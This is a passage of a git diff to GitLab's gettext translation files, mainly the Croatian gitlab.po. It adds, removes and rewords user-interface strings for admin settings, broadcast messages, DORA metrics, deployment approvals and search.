+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/hr_HR/gitlab.po b/locale/hr_HR/gitlab.po
index 723c0e26ce9..ff7e52d7666 100644
--- a/locale/hr_HR/gitlab.po
+++ b/locale/hr_HR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:42\n"
+"PO-Revision-Date: 2023-01-10 06:46\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -841,6 +841,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -913,6 +916,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -1045,6 +1051,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -1063,6 +1075,12 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1105,9 +1123,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1222,12 +1237,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1673,10 +1682,10 @@ msgstr[1] ""
msgstr[2] ""
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 korisnik"
-msgstr[1] "%{num} korisnika"
-msgstr[2] "%{num} korisnika"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1903,6 +1912,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -2047,9 +2059,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -2098,9 +2107,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2260,7 +2266,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2338,6 +2344,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2716,15 +2725,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2806,9 +2818,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2836,6 +2857,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2890,6 +2917,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2959,6 +2989,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -3133,9 +3169,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3181,6 +3214,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3427,7 +3463,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3472,6 +3508,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3730,6 +3769,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4372,9 +4414,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4543,15 +4582,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4585,9 +4615,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4840,6 +4867,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4984,9 +5023,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -5077,6 +5113,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5221,6 +5260,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5776,6 +5818,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5791,12 +5836,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7372,9 +7423,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7972,6 +8107,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -8083,13 +8221,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8374,6 +8509,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8533,12 +8671,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8722,6 +8854,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8848,6 +8983,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8950,12 +9088,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9622,21 +9766,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -10126,6 +10255,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -11020,6 +11152,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11413,6 +11548,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12310,6 +12448,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12334,6 +12475,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12346,7 +12490,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12367,6 +12514,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12388,6 +12541,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12406,6 +12565,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12427,6 +12595,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12436,6 +12610,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12451,9 +12628,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13372,11 +13546,11 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13444,6 +13618,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13828,9 +14005,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13846,6 +14029,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13930,6 +14119,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14200,7 +14395,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14425,6 +14620,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14920,6 +15118,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16117,10 +16318,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16129,9 +16327,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16630,9 +16825,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16666,9 +16858,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16990,9 +17179,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17419,9 +17605,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17740,16 +17923,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17848,6 +18028,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18508,9 +18691,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18925,6 +19105,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18937,6 +19120,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18961,6 +19150,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18979,6 +19171,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18991,9 +19186,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19318,6 +19519,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19480,7 +19687,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19963,9 +20170,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20020,6 +20233,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20029,6 +20245,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20038,6 +20260,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20155,6 +20380,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20470,6 +20698,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20884,9 +21118,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20908,6 +21139,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21130,12 +21364,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22195,7 +22441,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
